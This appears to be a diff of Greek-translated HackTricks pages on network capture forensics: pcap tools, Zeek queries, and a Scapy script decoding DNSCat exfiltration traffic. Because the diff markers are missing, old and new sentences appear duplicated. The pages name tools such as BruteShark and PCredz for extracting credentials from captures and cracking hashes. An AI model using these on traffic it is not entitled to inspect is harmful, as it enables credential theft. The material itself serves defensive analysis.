Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός χώρος συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό γεγονός κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε τομέα.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="info" %}
Σημείωση για το **PCAP** έναντι του **PCAPNG**: υπάρχουν δύο εκδόσεις του μορφής αρχείου PCAP. Το **PCAPNG είναι πιο πρόσφατο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή ένα άλλο συμβατό εργαλείο, προκειμένου να το χρησιμοποιήσετε με άλλα εργαλεία.
Μια σημείωση σχετικά με **PCAP** vs **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε κάποια άλλα εργαλεία.
{% endhint %}
## Online εργαλεία για pcaps
* Αν η κεφαλίδα του pcap σας είναι **κατεστραμμένη** πρέπει να προσπαθήσετε να την **επισκευάσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* Εξαγωγή **πληροφοριών** και αναζήτηση για **κακόβουλο λογισμικό** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com)
* Αναζήτηση για **κακόβουλη δραστηριότητα** χρησιμοποιώντας το [**www.virustotal.com**](https://www.virustotal.com) και το [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
* Αν η κεφαλίδα του pcap σας είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* Εξαγάγετε **πληροφορίες** και αναζητήστε **malware** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com)
* Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας [**www.virustotal.com**](https://www.virustotal.com) και [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
* **Πλήρης ανάλυση pcap από τον περιηγητή στο** [**https://apackets.com/**](https://apackets.com/)
## Εξαγωγή Πληροφοριών
Τα παρακάτω εργαλεία είναι χρήσιμα για την εξαγωγή στατιστικών, αρχείων, κλπ.
Τα παρακάτω εργαλεία είναι χρήσιμα για την εξαγωγή στατιστικών, αρχείων κ.λπ.
### Wireshark
{% hint style="info" %}
**Αν πρόκειται να αναλύσετε ένα PCAP, πρέπει ουσιαστικά να ξέρετε πώς να χρησιμοποιήσετε το Wireshark**
**Αν πρόκειται να αναλύσετε ένα PCAP, πρέπει βασικά να ξέρετε πώς να χρησιμοποιείτε το Wireshark**
{% endhint %}
Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο:
@ -51,11 +52,11 @@
Ανάλυση pcap από τον περιηγητή.
### Πλαίσιο Xplico
### Xplico Framework
Το [**Xplico** ](https://github.com/xplico/xplico)_(μόνο σε Linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλο το περιεχόμενο HTTP, κάθε κλήση VoIP (SIP), FTP, TFTP, κ.λπ.
[**Xplico** ](https://github.com/xplico/xplico)_(μόνο linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξαγάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλα τα περιεχόμενα HTTP, κάθε κλήση VoIP (SIP), FTP, TFTP, κ.λπ.
**Εγκατάσταση**
**Εγκαταστήστε**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
@ -67,28 +68,28 @@ sudo apt-get install xplico
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
Πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_
Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
Στη συνέχεια δημιουργήστε ένα **νέο περιστατικό**, δημιουργήστε μια **νέα συνεδρία** μέσα στο περιστατικό και **ανεβάστε το αρχείο pcap**.
Then create a **new case**, create a **new session** inside the case and **upload the pcap** file.
### NetworkMiner
Όπως το Xplico, είναι ένα εργαλείο για **ανάλυση και εξαγωγή αντικειμένων από pcaps**. Διαθέτει μια δωρεάν έκδοση που μπορείτε να **κατεβάσετε** [**εδώ**](https://www.netresec.com/?page=NetworkMiner). Λειτουργεί με **Windows**.\
Αυτό το εργαλείο είναι επίσης χρήσιμο για να ανακτήσετε **άλλες πληροφορίες που έχουν αναλυθεί** από τα πακέτα, ώστε να μπορείτε να γνωρίζετε τι συνέβαινε με **ταχύτερο** τρόπο.
Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\
This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way.
### NetWitness Investigator
Μπορείτε να κατεβάσετε το [**NetWitness Investigator από εδώ**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Λειτουργεί σε Windows)**.\
Αυτό είναι ένα άλλο χρήσιμο εργαλείο που **αναλύει τα πακέτα** και τα ταξινομεί με έναν χρήσιμο τρόπο για να **γνωρίζετε τι συμβαίνει μέσα**.
You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\
This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**.
### [BruteShark](https://github.com/odedshimon/BruteShark)
* Εξαγωγή και κωδικοποίηση ονομάτων χρηστών και κωδικών πρόσβασης (HTTP, FTP, Telnet, IMAP, SMTP...)
* Εξαγωγή καταλόγων ταυτοποίησης και αποκωδικοποίησή τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
* Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου & χρήστες)
* Εξαγωγή ερωτήσεων DNS
* Ανακατασκευή όλων των συνεδριών TCP & UDP
* Ανάκτηση αρχείων
* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...)
* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
* Build a visual network diagram (Network nodes & users)
* Extract DNS queries
* Reconstruct all TCP & UDP Sessions
* File Carving
### Capinfos
```
@ -96,29 +97,29 @@ capinfos capture.pcap
```
### Ngrep
Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε το **ngrep**. Εδώ υπάρχει ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα:
Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε το **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Σκαλισμός
### Carving
Η χρήση κοινών τεχνικών σκαλίσματος μπορεί να είναι χρήσιμη για την εξαγωγή αρχείων και πληροφοριών από το αρχείο pcap:
Η χρήση κοινών τεχνικών carving μπορεί να είναι χρήσιμη για την εξαγωγή αρχείων και πληροφοριών από το pcap:
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Καταγραφή διαπιστευτήριων
### Capturing credentials
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για την ανάλυση διαπιστευτηρίων από ένα αρχείο pcap ή μια ζωντανή διεπαφή.
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για να αναλύσετε διαπιστευτήρια από ένα pcap ή μια ζωντανή διεπαφή.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο αποτελεί έναν ζωντανό χώρο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %}
## Έλεγχος Εκμετάλλευσης/Κακόβουλου Λογισμικού
## Check Exploits/Malware
### Suricata
@ -138,12 +139,12 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) είναι ένα εργαλείο που
* Διαβάζει ένα αρχείο PCAP και εξάγει ροές Http.
* Αποσυμπιέζει gzip οποιεσδήποτε συμπιεσμένες ροές
* Σαρώνει κάθε αρχείο με yara
* gzip αποσυμπιέζει οποιεσδήποτε συμπιεσμένες ροές
* Σαρώσει κάθε αρχείο με yara
* Γράφει ένα report.txt
* Αποθηκεύει προαιρετικά τα ταιριαστά αρχεία σε ένα φάκελο
* Προαιρετικά αποθηκεύει τα αρχεία που ταιριάζουν σε έναν φάκελο
### Ανάλυση Κακόβουλου Λογισμικού
### Malware Analysis
Ελέγξτε αν μπορείτε να βρείτε οποιοδήποτε αποτύπωμα γνωστού κακόβουλου λογισμικού:
@ -153,9 +154,11 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένα παθητικό, ανοικτού κώδικα αναλυτής κίνησης δικτύου. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Έλεγχο Ασφαλείας Δικτύου (NSM) για να υποστηρίξουν έρευνες επί ύποπτης ή κακόβουλης δραστηριότητας. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της επίλυσης προβλημάτων.
> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης.
Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Συνεπώς, θα χρειαστείτε να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τα αρχεία καταγραφής όπου οι **πληροφορίες** σχετικά με τα pcaps βρίσκονται.
Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστεί να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τα αρχεία καταγραφής όπου βρίσκονται οι **πληροφορίες** σχετικά με τα pcaps.
### Connections Info
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
@ -222,7 +225,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
## Άλλα κόλπα ανάλυσης pcap
## Άλλες τεχνικές ανάλυσης pcap
{% content-ref url="dnscat-exfiltration.md" %}
[dnscat-exfiltration.md](dnscat-exfiltration.md)
@ -240,20 +243,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο αποτελεί έναν ζωντανό χώρο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,37 @@
# DNSCat pcap ανάλυση
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Συνεργάτης AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
[**WhiteIntel**](https://whiteintel.io) είναι μια **μηχανή αναζήτησης** που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
---
***
Αν έχετε pcap με δεδομένα που **εξαγάγονται από το DNSCat** (χωρίς χρήση κρυπτογράφησης), μπορείτε να βρείτε το εξαγόμενο περιεχόμενο.
Αν έχετε pcap με δεδομένα που **εξάγονται από το DNSCat** (χωρίς χρήση κρυπτογράφησης), μπορείτε να βρείτε το εξαγόμενο περιεχόμενο.
Χρειάζεστε μόνο να γνωρίζετε ότι τα **πρώτα 9 bytes** δεν είναι πραγματικά δεδομένα αλλά σχετίζονται με τη **επικοινωνία C\&C**:
Πρέπει μόνο να γνωρίζετε ότι τα **πρώτα 9 bytes** δεν είναι πραγματικά δεδομένα αλλά σχετίζονται με την **C\&C επικοινωνία**:
```python
from scapy.all import rdpcap, DNSQR, DNSRR
import struct
@ -50,21 +53,21 @@ last = qry
Για περισσότερες πληροφορίες: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
Υπάρχει ένα script που λειτουργεί με Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
Υπάρχει ένα σενάριο που λειτουργεί με Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
```
python3 dnscat_decoder.py sample.pcap bad_domain
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,43 +1,45 @@
# USB Keystrokes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
